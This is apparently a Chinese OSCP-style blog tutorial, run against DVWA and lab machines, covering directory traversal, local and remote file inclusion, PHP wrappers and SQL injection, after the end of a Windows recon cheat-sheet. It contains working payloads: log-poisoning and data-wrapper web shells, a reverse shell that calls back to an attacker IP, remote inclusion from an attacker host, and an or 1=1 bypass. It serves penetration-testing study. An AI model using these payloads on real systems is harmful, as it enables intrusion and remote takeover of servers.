TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1234 16.2. 查看运行的进程 1# 查看所有进程 2Get-Process 3tasklist 4 5# 查看特定端口的进程 6netstat -ano | findstr :80 7Get-Process -Id [PID] 16.3. 查看已安装的程序和服务 1# 查看已安装程序 2Get-WmiObject -Class Win32_Product 3Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* 4 5# 查看服务 6Get-Service 7Get-Service | Where-Object {$_.Status -eq \u0026#34;Running\u0026#34;} 16.4. 查看网络配置 1# 查看IP配置 2ipconfig /all 3Get-NetIPConfiguration 4Get-NetIPAddress 5 6# 查看路由表 7route print 8Get-NetRoute 9 10# 查看DNS缓存 11ipconfig /displaydns 12Get-DnsClientCache 13 14# 查看ARP缓存 15arp -a 16Get-NetNeighbor 16.5. 查看共享和权限 1# 查看共享文件夹 2net share 3Get-SmbShare 4 5# 查看共享会话 6net session 7Get-SmbSession 8 9# 查看打开的文件 10openfiles /query 11Get-SmbOpenFile 16.6. 查看防火墙规则 1# 查看防火墙状态 2netsh advfirewall show allprofiles 3Get-NetFirewallProfile 4 5# 查看防火墙规则 6netsh advfirewall firewall show rule name=all 7Get-NetFirewallRule | Where-Object {$_.Enabled -eq \u0026#39;True\u0026#39;} 8 9# 查看特定端口的规则 10Get-NetFirewallPortFilter | Where-Object {$_.LocalPort -eq 80} 16.7. 查看计划任务 1# 查看计划任务 2schtasks /query /fo LIST /v 3Get-ScheduledTask | Where-Object {$_.State -eq \u0026#34;Ready\u0026#34;} 16.8. 查看用户和组 1# 查看本地用户 2net user 3Get-LocalUser 4 5# 查看本地组 6net localgroup 7Get-LocalGroup 8 9# 查看登录会话 10query user 11qwinsta 17. WMI (Windows Management Instrumentation) 查询 17.1. 网络适配器配置 1Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true} 17.2. 监听端口 1Get-WmiObject -Class Win32_Process | Where-Object {$_.Name -like \u0026#34;*server*\u0026#34;} 17.3. 已安装的软件 1Get-WmiObject -Class Win32_Product 18. 容器和虚拟化 18.1. Docker (Windows容器) 配置文件: C:\\ProgramData\\Docker\\config\\daemon.json\n查看命令:\n1docker ps 2docker port [container_id] 用途: 查看容器端口映射\n18.2. Hyper-V 配置路径: 通过Hyper-V管理器查看\nPowerShell命令:\n1Get-VM 2Get-VMNetworkAdapter 用途: 查看虚拟机网络配置\n19. 云和企业服务 19.1. Azure Arc 配置路径: C:\\ProgramData\\AzureConnectedMachineAgent\\\n用途: Azure混合云连接配置\n19.2. System Center Configuration Manager (SCCM) 客户端路径: C:\\Windows\\CCM\\\n日志路径: C:\\Windows\\CCM\\Logs\\\n用途: 企业配置管理信息\n20. 安全相关配置 20.1. BitLocker配置 注册表路径: HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\FVE\n用途: 磁盘加密配置\n20.2. Windows Defender 配置路径: C:\\ProgramData\\Microsoft\\Windows Defender\\\n日志路径: C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\\nPowerShell命令:\n1Get-MpPreference 2Get-MpComputerStatus 20.3. 审计策略 查看命令:\n1auditpol /get /category:* 用途: 了解系统审计配置\n21. 证书和加密 21.1. 证书存储 路径: C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\\n查看命令:\n1Get-ChildItem -Path Cert:\\LocalMachine\\My 2Get-ChildItem -Path Cert:\\CurrentUser\\My 用途: 查看安装的SSL/TLS证书,可能揭示服务域名\n22. 备份和恢复 22.1. Windows Server Backup 配置路径: 通过Windows Server Backup管理\n日志路径: 事件查看器中的 Microsoft-Windows-Backup\n用途: 可能包含敏感文件路径和配置信息\n安全建议 访问控制: 严格限制对注册表、配置文件和系统目录的访问权限 审计日志: 启用详细的审计日志记录,监控对敏感文件和注册表的访问 防火墙配置: 使用Windows防火墙或第三方防火墙限制入站和出站连接 定期审计: 定期检查开放的端口、运行的服务和启动项 最小化服务: 禁用或删除不必要的服务和功能 补丁管理: 及时应用Windows更新和安全补丁 加密敏感数据: 使用BitLocker加密磁盘,加密敏感配置文件 网络分段: 使用VLAN和防火墙规则隔离敏感服务 监控异常: 使用SIEM工具监控异常的端口扫描和服务访问 强化RDP: 修改RDP默认端口,使用网络级身份验证(NLA),限制访问IP 常见Windows服务端口速查表 服务 默认端口 协议 说明 HTTP 80 TCP Web服务 HTTPS 443 TCP 加密Web服务 FTP 21 TCP 文件传输 FTPS 990 TCP 加密FTP SSH 22 TCP 安全Shell Telnet 23 TCP 远程终端 SMTP 25 TCP 邮件发送 DNS 53 TCP/UDP 域名解析 POP3 110 TCP 邮件接收 IMAP 143 TCP 邮件接收 SNMP 161 UDP 网络管理 LDAP 389 TCP 目录服务 LDAPS 636 TCP 加密LDAP SMB/CIFS 445 TCP 文件共享 SQL Server 1433 TCP 数据库 MySQL 3306 TCP 数据库 PostgreSQL 5432 TCP 数据库 RDP 3389 TCP 远程桌面 WinRM 5985/5986 TCP Windows远程管理 Kerberos 88 TCP/UDP 身份验证 Global Catalog 3268/3269 TCP AD目录服务 Tomcat 8080/8443 TCP Web应用服务器 ","date":"2025-10-22T22:21:58Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/linux-windows%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E5%8F%A3%E5%92%8C%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%E4%BE%A6%E5%AF%9F%E6%8C%87%E5%8D%97/","title":"Linux服务器端口和基本信息侦察指南"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n目录遍历漏洞（Directory Traversal Vulnerabilities） 目录遍历漏洞，也称为路径遍历漏洞，允许攻击者未经授权访问应用程序内的文件，或访问通常无法通过 Web 接口访问的文件（例如 Web 根目录之外的文件）。当输入验证不当时，就会出现此漏洞，从而使攻击者能够使用\u0026quot;../\u0026ldquo;或\u0026rdquo;..\u0026quot;字符来操控文件路径。\n这些攻击可能会暴露敏感信息，但==不会在应用程序服务器上执行代码==。在某些用特定编程语言编写的应用程序服务器上，目录遍历攻击可用于帮助促成文件包含攻击。尽管识别这两类漏洞的技术有所重叠，但它们的最终结果不同。\n识别和利用目录遍历​​ 搜索目录遍历漏洞始于检查 URL 查询字符串和表单主体，寻找看似文件引用的值，最常见的迹象是 URL 查询字符串中的文件扩展名。\n一旦识别出一些可能的候选参数，我们就可以修改这些值，尝试引用系统上任何用户都应可读的文件，例如 Linux 上的 /etc/passwd或 Windows 上的 c:\\boot.ini。\n让我们回到 Windows 10 实验机上的示例应用程序来演示此漏洞。请确保在继续之前已启动 Apache 和 MySQL。\n从主 Web 索引页面，点击\u0026quot;Menu\u0026quot;显示示例菜单：\n点击\u0026quot;Menu\u0026quot;链接后，URL 会更新并包含一个名为 file的参数，其值为\u0026quot;current_menu.php\u0026quot;。参数值中出现文件扩展名通常是一个很好的迹象，表明我们应该进一步调查，因为它暗示正在从其他资源包含文本或代码。大多数目录遍历漏洞并不如此明显，但有相当数量的旧版 PHP 应用程序以类似方式加载页面。\n在不知道代码具体实现的情况下，我们可以通过更改 file参数的值开始试探。如果我们将\u0026quot;current_menu.php\u0026quot;更改为\u0026quot;old.php\u0026quot;之类的值，我们会得到一个错误而不是菜单：\n请注意，错误消息表明服务器未能打开要包含的文件，并返回了完整的文件路径。这表明我们很可能可以通过操纵 file参数来控制页面中呈现的内容。如果我们之前不知道目标是 Windows 主机，这个错误消息也会泄露这一点。它还包含了应用程序的源目录信息。操作系统信息在利用目录遍历漏洞时至关重要。\n由于我们知道应用程序运行在 Windows 系统上，让我们更新我们的载荷，以 Windows 的 hosts 文件为目标。在 Windows 系统上，这是一个有用的目标文件，因为它稳定可靠且任何用户都可访问。\n让我们将参数值更改为 c:\\windows\\system32\\drivers\\etc\\hosts并提交 URL：\n练习​​ 利用该目录遍历漏洞，读取你的靶机上的任意文件。 这里使用dvwa靶场来演示 找到?page= 的注入点后就尝试输入 page=../../../../../etc/passwd 就能目录遍历到根目录读取用户配置文件。这里输入多个../ 是为了利用Linux的特性，../ 表示回到上一级目录。因为此时我们不知道这个网页的php在Linux系统中的哪个目录，用多个../ 能确保返回到根目录/ 然后再从根目录访问文件的绝对目录。 这个靶场的特性没有过滤/字符，所以直接输入page=/etc/passwd 也是能访问成功的。登录到靶机的docker环境中可以看到etc下面有这些文件（做参考），比较有用的就是passwd, hosts, hostname, shadow 等，这几个文件一般在Linux服务器上都普遍存在，其中要注意的是shadow文件可能因为权限问题无法读取，需要提权后再读。 找到dvwa靶场的网页文件，发现除了页面上展示的1，2，3文件，还有一个file4.php 文件 在页面上访问可以看到4的内容，提示我们这个就算是找到靶场的隐藏文件了。 值得注意的是，靶场对file4.php的内容是直接渲染的，渲染成php文件在页面中。 而对其他文件，etc/passwd 和根目录下一个.sh 文件则是直接显示文字内容，没有渲染也没有执行sh的命令。 这是因为这个靶场演示的还是文件包含，文件包含与目录遍历的区别就是文件包含能够直接执行或者渲染文件要做的内容，而目录遍历只能看看。通常，如果找到一个目录遍历的洞之后，配合文件上传之类的漏洞上传了一句话木马发现木马执行不成功，或者在蚁剑中怎么也连不上，就要考虑这个注入点只是目录遍历而没有文件包含，文件==只是作为文字内容显示，而不能执行其内容==。此时就要考虑在找找有没有文件包含的洞，让上传的马跑起来。 文件包含漏洞（File Inclusion Vulnerabilities） 与仅显示文件内容的目录遍历不同，文件包含漏洞允许攻击者将文件包含到应用程序的运行代码中。要真正利用文件包含漏洞，我们不仅需要能够执行代码，还必须能够将shell载荷写入某个地方。\n本地文件包含(LFI Local File Inclusion) 发生在被包含的文件从同一Web服务器加载时。\n远程文件包含(RFI Remote File Inclusion) 发生在从外部源加载文件时。这些漏洞通常出现在PHP应用程序中，但也可能出现在其他编程语言中。\n这些漏洞的利用取决于应用程序编写的编程语言和服务器配置。对于PHP来说，语言运行时的版本和Web服务器配置，特别是php.ini中的值(如register_globals和allow_url_wrappers)，对这些漏洞的利用方式有着重大影响。\n请注意，目录遍历漏洞通常与LFI结合使用，特别是用于指定LFI载荷中使用的文件。\n识别文件包含漏洞 文件包含漏洞的发现方式与目录遍历相同。我们必须找到可以操纵的参数，并尝试使用它们来加载任意文件。然而，文件包含更进一步，我们尝试在应用程序中==执行文件的内容==。\n我们还应该检查这些参数是否容易受到远程包含(RFI)的攻击，方法是将它们的值更改为URL而不是本地路径。由于现代PHP版本的默认配置禁用了远程URL包含(这是执行远程代码所需的关键功能)，我们不太可能找到RFI漏洞。然而，我们仍应测试RFI，因为它们通常比LFI更容易利用。\n我们可以使用Netcat、Apache或Python来处理请求，就像我们在XSS中所做的那样。我们可能需要尝试在不同端口上托管载荷，因为目标服务器发起的任何远程连接都可能受到内部防火墙或路由规则的限制。可能需要一些试错。\n利用本地文件包含(LFI) 一个示例应用程序，我们将从目录遍历攻击中断的地方继续，查看menu.php的源代码以明确我们正在处理的内容：\n1\u0026lt;?php 2$file = $_GET[\u0026#34;file\u0026#34;]; 3include $file; ?\u0026gt; 应用程序从请求查询字符串中读取file参数，然后将该值与include语句一起使用。这意味着应用程序将执行指定文件中的任何PHP代码。如果应用程序使用fread打开文件并使用echo显示内容，文件中的任何代码都将被显示而不是执行。\n如果我们能够以某种方式将PHP代码写入本地文件，我们可能能够将此漏洞推进到远程代码执行。由于我们无法将文件上传到服务器，我们有哪些选择？\n污染日志文件 我们可以尝试通过日志文件投毒将代码注入服务器。大多数应用服务器会记录所有请求的URL。我们可以利用这一点，提交包含PHP代码的请求。一旦请求被记录，我们就可以在LFI载荷中使用日志文件。\n首先，注意整个载荷是用PHP编写的：它以\u0026lt;?php开始，以?\u0026gt;结束。PHP载荷的主体是一个简单的echo命令，它将输出打印到页面。这个输出首先被包裹在\u0026lt;pre\u0026gt; HTML标签中，这些标签保留结果中的任何换行符或格式。接下来是函数调用本身，shell_exec，它将执行操作系统命令。最后，操作系统命令通过_GET['cmd']从GET请求的\u0026quot;cmd\u0026quot;参数中检索。这一行PHP代码将允许我们通过查询字符串指定操作系统命令，并在浏览器中输出结果。\n现在让我们发送该载荷：\n1kali@kali:~$ nc -nv 10.11.0.22 80 2(UNKNOWN) [10.11.0.22] 80 (http) open 3\u0026lt;?php echo \u0026#39;\u0026lt;pre\u0026gt;\u0026#39; . shell_exec($_GET[\u0026#39;cmd\u0026#39;]) . \u0026#39;\u0026lt;/pre\u0026gt;\u0026#39;;?\u0026gt; 4HTTP/1.1 400 Bad Request 尽管出现\u0026quot;Bad Request\u0026quot;错误(因为我们没有发出有效的HTTP请求)，我们可以通过检查Windows 10实验机器上的Apache日志文件来验证请求已提交。\n我们可以通过打开apache\\logs\\access.log或使用XAMPP控制面板（Windows）来查看这些日志。\n我们的载荷应该在日志文件末尾附近找到：\n10.11.0.4 - - [30/Nov/2019:13:55:12 -0500] \u0026#34;GET /css/bootstrap.min.css HTTP/1.1\u0026#34; 200 155758 \u0026#34;http://10.11.0.22/menu.php?file=\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\u0026#34; 10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] \u0026#34;GET /tacotruck.php HTTP/1.1\u0026#34; 200 1189 \u0026#34;http://10.11.0.22/menu.php?file=/\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\u0026#34; 10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] \u0026#34;\u0026#34;\u0026lt;?php echo \u0026#39;\u0026lt;pre\u0026gt;\u0026#39; . shell_exec($_GET[\u0026#39;cmd\u0026#39;]) . \u0026#39;\u0026lt;/pre\u0026gt;\u0026#39;;?\u0026gt;\\n\u0026#34; 400 981 \u0026#34;-\u0026#34; \u0026#34;-\u0026#34; 由于我们的载荷已被记录，我们可以尝试LFI执行。\nLFI代码执行 接下来，我们将使用LFI漏洞来包含包含我们PHP载荷的Apache access.log文件。我们知道应用程序正在使用include语句，因此包含文件的内容将作为PHP代码执行。\n我们将构建一个URL，其中包括日志的位置以及要执行的命令(ipconfig)作为cmd参数的值：\nhttp://10.11.0.22/menu.php?file=\\path\\apache\\logs\\access.log\u0026amp;cmd=ipconfig 一旦URL发送到Web服务器，输出应该如下所示：\n如果一切按预期工作，页面底部应该包括ipconfig的输出。\n那么到底发生了什么？由于应用程序的PHP include语句和我们指定要包含哪个文件的能力，被污染的access.log文件的内容被网页执行了。\nPHP引擎反过来运行日志文件文本中的\u0026lt;?php echo shell_exec($_GET['cmd']);?\u0026gt;部分(我们的载荷)，cmd变量的值为\u0026quot;ipconfig\u0026quot;，本质上在目标上运行ipconfig并显示输出。日志文件中的其他行只是被显示，因为它们不包含有效的PHP代码。\n练习 通过使用LFI攻击获得代码执行 使用代码执行获得完整的shell 日志文件污染的方法，但是这个dvwa没成功，所以这次用靶场的文件上传功能演示LFI。 远程文件包含(RFI) 远程文件包含(RFI)漏洞不如LFI常见，因为服务器必须以非常特定的方式配置，但它们通常更容易利用。例如，PHP应用程序必须将allow_url_include设置为\u0026quot;On\u0026quot;。旧版本的PHP默认开启此选项，但较新版本默认为\u0026quot;Off\u0026quot;。如果我们可以强制Web应用程序加载远程文件并执行代码，我们在创建利用载荷方面就有更多的灵活性。 让我们看一个RFI漏洞的例子。之前演示的LFI漏洞也容易受到RFI攻击。考虑以下情况：\nhttp://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt 这个请求将强制PHP Web服务器尝试从我们的Kali攻击机器包含一个远程文件。我们可以通过在Kali机器上启动netcat监听器来测试这一点，然后在Windows 10目标上提交URL：\n1kali@kali:~$ sudo nc -nvlp 80 2listening on [any] 80 ... 3connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 50324 4GET /evil.txt HTTP/1.0 5Host: 10.11.0.4 6Connection: close 输出显示，当提交URL时，Windows 10机器确实连接到我们的Kali机器，试图检索evil.txt文件。如果文件被检索到，它将进一步尝试包含并执行它。\n虽然这是一个简单的例子，但URL是有效的，过程是有效的，本质上允许我们加载并执行托管在远程Web服务器上的任何文件。\nRFI技巧 空字节绕过：旧版本的PHP存在一个漏洞，其中空字节(%00)将终止任何字符串。这个技巧可用于绕过服务器端添加的文件扩展名，对文件包含很有用，因为它防止文件扩展名被视为字符串的一部分。换句话说，如果应用程序读取参数并向其追加\u0026quot;.php\u0026quot;，在参数中传递的空字节有效地结束字符串而不带\u0026quot;.php\u0026quot;扩展名。这使攻击者在文件包含漏洞中可以加载的文件方面具有更大的灵活性。 问号技巧：RFI载荷的另一个技巧是以问号(?)结尾，将服务器端添加到URL的任何内容标记为查询字符串的一部分。\n要查看实际效果，我们可以设置Apache服务器来托管恶意的evil.txt文件，其中包含我们在日志投毒攻击中使用的相同PHP命令shell。创建文件后，我们将快速重启Apache：\n1kali@kali:/var/www/html$ cat evil.txt 2\u0026lt;?php echo shell_exec($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt; 3 4kali@kali:/var/www/html$ sudo systemctl restart apache2 一旦文件就位且我们的Web服务器正在运行，我们可以将RFI攻击URL发送到Windows 10机器上的易受攻击的Web应用程序，看看我们的代码是否执行：\nhttp://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt\u0026amp;cmd=ipconfig Webshell说明 Webshell是一小段软件，提供基于Web的命令行界面，使执行命令更容易、更方便。webshell有很多类型，Kali在/usr/share/webshells中包含了几个，用多种常见的Web应用程序编程语言编写。与往常一样，在使用这些文件之前请查看其内容。基于这些简单示例的成功，我们可以使用Apache(或其他HTTP服务器)为RFI托管这些shell，扩展我们的能力。\n现在我们可以在服务器上执行代码，借助Kali Linux附带的webshell，从代码执行到获得shell应该是一件简单的事情。\n练习 利用Web应用程序中的RFI漏洞并获得shell 使用Kali附带的webshell之一在Windows 10目标上获得shell Kali 自带了一些php反弹的代码，只要使用下面的命令搜索复制到当前文件夹，然后修改ip和端口，在kali上启动一个简单的http服务，确保ip地址可以访问，靶机的all_url_include选项开启，就可以直接访问kali上的php弹回shell了\n1cp /usr/share/webshells/php/php-reverse-shell.php . 2sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;172.168.169.141\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php 3python -m http.server 4rlwrap -cAr nc -nlvp 4777 5# 网页访问 6http://192.168.224.1:8888/vulnerabilities/fi/?page=http://172.168.169.141:8000/php-reverse-shell.php 扩展你的技能库 既然我们已经了解了基础知识，让我们看看扩展技能库的一些方法。\n首先，让我们看看一些Apache的替代方案。\nKali包含几个可以创建HTTP服务器的工具。如果我们需要在任意端口上快速建立HTTP服务器，这特别有用。\n注意：以下示例使用注册端口，但如果我们以root用户权限运行命令，我们也可以在系统端口上运行服务器。\nHTTP服务器替代方案 Python 2.x 例如，我们可以在Python 2.x中在任意端口上启动HTTP服务器，通过设置-m SimpleHTTPServer来设置所需的模块，7331来设置TCP端口：\n1kali@kali:~$ python -m SimpleHTTPServer 7331 2Serving HTTP on 0.0.0.0 port 7331 ... Python 3.x Python 3.x的语法略有不同，因为模块名称不同：\n1kali@kali:~$ python3 -m http.server 7331 2Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ... 这两个命令都将启动HTTP服务器，并从当前工作路径托管任何文件或目录。\nPHP PHP包含一个内置的Web服务器，可以使用-S标志后跟要使用的地址和端口来启动：\n1kali@kali:~$ php -S 0.0.0.0:8000 2PHP 7.3.8-1 Development Server started at Wed Aug 28 12:59:52 2019 3Listening on http://0.0.0.0:8000 4Document root is /home/kali 5Press Ctrl-C to quit. Ruby 我们还可以使用Ruby\u0026quot;一行命令\u0026quot;启动HTTP服务器。该命令需要几个标志，包括：\n-run：加载un.rb，其中包含常见Unix命令的替代品 -e httpd：运行HTTP服务器 .：从当前目录提供内容 -p 9000：设置TCP端口 1kali@kali:~$ ruby -run -e httpd . -p 9000 2[2019-08-28 12:44:14] INFO WEBrick 1.4.2 3[2019-08-28 12:44:14] INFO ruby 2.5.5 (2019-03-15) [x86_64-linux-gnu] 4[2019-08-28 12:44:14] INFO WEBrick::HTTPServer#start: pid=1367 port=9000 BusyBox 我们还可以使用busybox(\u0026ldquo;嵌入式Linux的瑞士军刀\u0026rdquo;)运行HTTP服务器：\nhttpd：作为函数 -f：交互式运行 -p 10000：在TCP端口10000上运行 1kali@kali:~$ busybox httpd -f -p 10000 要停止任何这些服务器，我们只需按下Ctrl+C。\nPHP包装器 PHP提供了几个协议包装器(protocol wrappers)，我们可以使用它们来利用目录遍历和本地文件包含漏洞。这些过滤器在尝试通过LFI漏洞注入PHP代码时为我们提供了额外的灵活性。\n我们可以使用data包装器将内联数据嵌入为URL的一部分，使用明文或base64编码的数据。当我们无法用PHP代码污染本地文件时，此包装器为我们提供了替代载荷。\n使用Data包装器 让我们仔细看看如何使用data包装器。我们以\u0026quot;data:\u0026ldquo;开始，后跟数据类型。在这种情况下，我们将使用\u0026quot;text/plain\u0026quot;表示明文。接下来是逗号，标记内容的开始，在本例中是\u0026quot;hello world\u0026rdquo;。当我们把它们放在一起时，我们得到\u0026quot;data:text/plain,hello world\u0026quot;。\n我们已经知道菜单页面容易受到LFI攻击。如果我们使用data包装器提交载荷，应用程序应该将其视为常规文件并将其包含在页面中。让我们通过提交以下URL并检查结果来验证这是否有效：\nhttp://10.11.0.22/menu.php?file=data:text/plain,hello world 正如预期的那样，应用程序将data包装器视为文件并将其包含在页面中，显示我们的\u0026quot;hello world\u0026quot;字符串。\n使用Data包装器执行PHP代码 既然明文data包装器有效，让我们看看我们能走多远。我们知道这个页面上存在LFI漏洞，之前的例子证明我们可以使用data包装器注入内容。让我们用一些PHP代码替换\u0026quot;hello world\u0026quot;，看看它是否执行。我们将使用shell_exec运行dir命令，包裹在PHP标签中。那么，URL看起来像这样：\nhttp://10.11.0.22/menu.php?file=data:text/plain,\u0026lt;?php echo shell_exec(\u0026#34;dir\u0026#34;) ?\u0026gt; 我们在data包装器中包含的PHP代码在服务器端执行，生成了目录列表。我们现在可以在不操纵任何本地文件的情况下利用LFI。\n练习 使用PHP包装器利用LFI漏洞 使用PHP包装器在Windows 10实验机器上获得shell 1# 测试命令可用 2http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20echo%20shell_exec(%22whoami%22)%20?%3E 3 4# 检查可用的命令 5http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20echo%20shell_exec(%22which%20bash%20sh%20python%20perl%20nc%20netcat%22);%20?%3E 6---- 7/bin/bash /bin/sh /usr/bin/perl 8 9# 检查PHP禁用函数 10http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,\u0026lt;?php echo ini_get(\u0026#34;disable_functions\u0026#34;); ?\u0026gt; 11 12# 查看phpinfo 13http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20phpinfo();%20?%3E 14 15# 读取源码 16http://192.168.224.1:8888/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php 方法1 反弹shell 使用更简单但正确的反向Shell 创建简化版（一次性URL）\n1cat \u0026gt; simple_shell.php \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2\u0026lt;?php 3$sock=fsockopen(\u0026#34;172.168.169.141\u0026#34;,4777); 4$proc=proc_open(\u0026#34;/bin/sh\u0026#34;,array(0=\u0026gt;$sock,1=\u0026gt;$sock,2=\u0026gt;$sock),$pipes); 5?\u0026gt; 6EOF 7 8base64 -w 0 simple_shell.php 9PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo= 10 11# 网页访问 12http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo= 方法2：写入shell后LFI 1# 查看目录 2http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%22ls%20-la%20/var/www/html/vulnerabilities/fi/%22);%20?%3E 3# 写入shell 4http://192.168.224.1:8888/vulnerabilities/fi/?page=data:text/plain,\u0026lt;?php file_put_contents(\u0026#34;shell.php\u0026#34;,\u0026#34;\u0026lt;?php system(\\$_GET[\u0026#39;c\u0026#39;]); ?\u0026gt;\u0026#34;); ?\u0026gt; 5http://192.168.224.1:8888/vulnerabilities/fi/shell.php?c=id Sql注入 SQL 注入是一种常见的 Web 应用程序漏洞，它是由于未经过滤的用户输入被插入到查询中，然后传递给数据库执行而造成的。查询用于与数据库交互，例如插入或检索数据。如果我们可以注入恶意输入到查询中，我们就能\u0026quot;突破\u0026quot;开发人员编写的原始查询，并引入我们自己的恶意操作。这类漏洞可能导致数据库信息泄露，根据环境的不同，可能导致服务器完全被攻陷。\n在本节中，我们将在 PHP/MariaDB 环境下研究 SQL 注入攻击。虽然不同环境的概念是相同的，但在攻击过程中使用的语法可能需要更新，以适应不同的数据库引擎或脚本语言。\n注意： MariaDB 与 MySQL 非常相似。实际上，它起源于 MySQL 的一个分支。虽然存在一些细微差别，但大多数差别对攻击者来说并不重要。\n基本 SQL 语法 结构化查询语言（SQL）是用于与关系数据库交互的主要语言。虽然 SQL 有标准语法，但大多数数据库软件包都有实现上的变化。然而，基础语法通常是相同的。让我们先了解一些基本的 SQL 概念和语法，然后再进行漏洞利用。\n关系数据库由一个或多个表组成，每个表有一个或多个列。表中的每个条目称为行。\n在大多数情况下，我们将处理查询。查询是对数据库引擎的指令，我们使用它们来检索或操作数据库中的数据。SELECT 查询是最基本的交互：\n1SELECT * FROM users; 我们可以将列表查询解释为\u0026quot;显示 users 表中的所有列和记录\u0026quot;。SELECT 命令的第一个参数是列，星号是一个特殊字符，表示\u0026quot;所有\u0026quot;。\n我们还可以使用 WHERE 子句为查询引入条件子句：\n1SELECT user FROM users WHERE user_id=1; 我们可以将查询解释为\u0026quot;显示 users 表中的 user 字段，仅显示 id 为 1 的记录\u0026quot;。\n这些只是一些基础知识。我们还可以在表中 INSERT（插入）、UPDATE（更新）和 DELETE（删除）数据。我们在这里不会涵盖这些语句，但在展示如何利用 SQL 注入时，我们会根据需要介绍其他 SQL 语法。\n识别 SQL 注入漏洞 在寻找 SQL 注入漏洞之前，我们必须首先识别数据可能通过数据库传递的位置。身份验证通常由数据库支持，根据 Web 应用程序的性质，其他区域（包括电子商务网站上的产品或论坛上的消息线程）通常需要数据库交互。\n1http://192.168.224.1:8888/vulnerabilities/sqli/?id=1\u0026amp;Submit=Submit# 我们可以使用单引号（\u0026rsquo;）作为简单检查潜在 SQL 注入漏洞的方法，SQL 使用单引号作为字符串分隔符。如果应用程序没有正确处理这个字符，很可能会导致数据库错误，并可能表明存在 SQL 注入漏洞。知道了这一点，我们通常通过在每个我们怀疑可能将其参数传递给数据库的字段中输入单引号来开始攻击。在进行黑盒测试时，我们需要使用这种试错方法。\n如果我们能够访问应用程序的源代码，我们可以检查它是否存在通过字符串连接构建的 SQL 查询。在 PHP 中，这可能看起来像以下内容：\n1$query = \u0026#34;select * from users where id = \u0026#39;$id\u0026#39;;\u0026#34; 如果用户数据以任何方式包含在 SQL 语句中而没有经过清理，发生 SQL 注入的可能性非常高。让我们通过一些例子进一步分析。在正常登录中， 当提交“1”作为查询的要素时，实际在数据库中执行的代码如下所示：\n1$query = \u0026#34;select * from users where id = \u0026#39;1\u0026#39;;\u0026#34; Burp抓包后还可以直接发送到intruder模块配合sql注入字典直接测试。\n返回数据比较长的都是注入成功有内容的，可以注入的。 身份验证绕过 身份验证绕过是利用 SQL 注入漏洞的经典示例，展示了恶意用户操纵数据库的危险性。考虑上一节中的代码示例。如果我们能够将自己的代码注入到 SQL 语句中，我们如何能够以有利于我们的方式修改查询？\n这是正常的使用场景：合法用户向应用程序提交他们的查询ID，用户名和密码。应用程序使用这些值查询数据库。SQL 语句在 where 子句中使用 and 逻辑运算符。因此，数据库只会返回具有给定用户名和匹配密码的用户记录。\n正常的 SQL 查询如下所示：\n1select * from users where id = \u0026#39;1\u0026#39;; 如果我们控制作为 $id 传入的值，我们可以通过提交 1' or 1=1;# 作为我们的用户名来破坏查询的逻辑，这将创建如下查询：\n1select * from users where id = \u0026#39;1\u0026#39; or 1=1;#\u0026#39;; 井号字符（#）是 MySQL/MariaDB 中的注释标记。它有效地删除了语句的其余部分，所以我们剩下：\n1select * from users where id = \u0026#39;1\u0026#39; or 1=1; SQL中单引号和井号可以作为注释和分段，所以如果输入万能密码 1 \u0026rsquo; or 1=1;# 的话。\n可以看到 1‘ 和原本查询语句开头的 id = \u0026rsquo; 组成了一个完整的语句，而此时又带入了or 后面的内容，为了不让原本的结尾的 \u0026lsquo;;中的引号引起语法错误，使用了#注释掉后面的内容，所以# 号后面被SQL数据库视为注释内容没有执行，所以结尾的引号不会引起报错，而我们又成功执行了 or 1=1;的内容。\n我们可以将其解释为\u0026quot;显示id为 1 或 1 等于 1 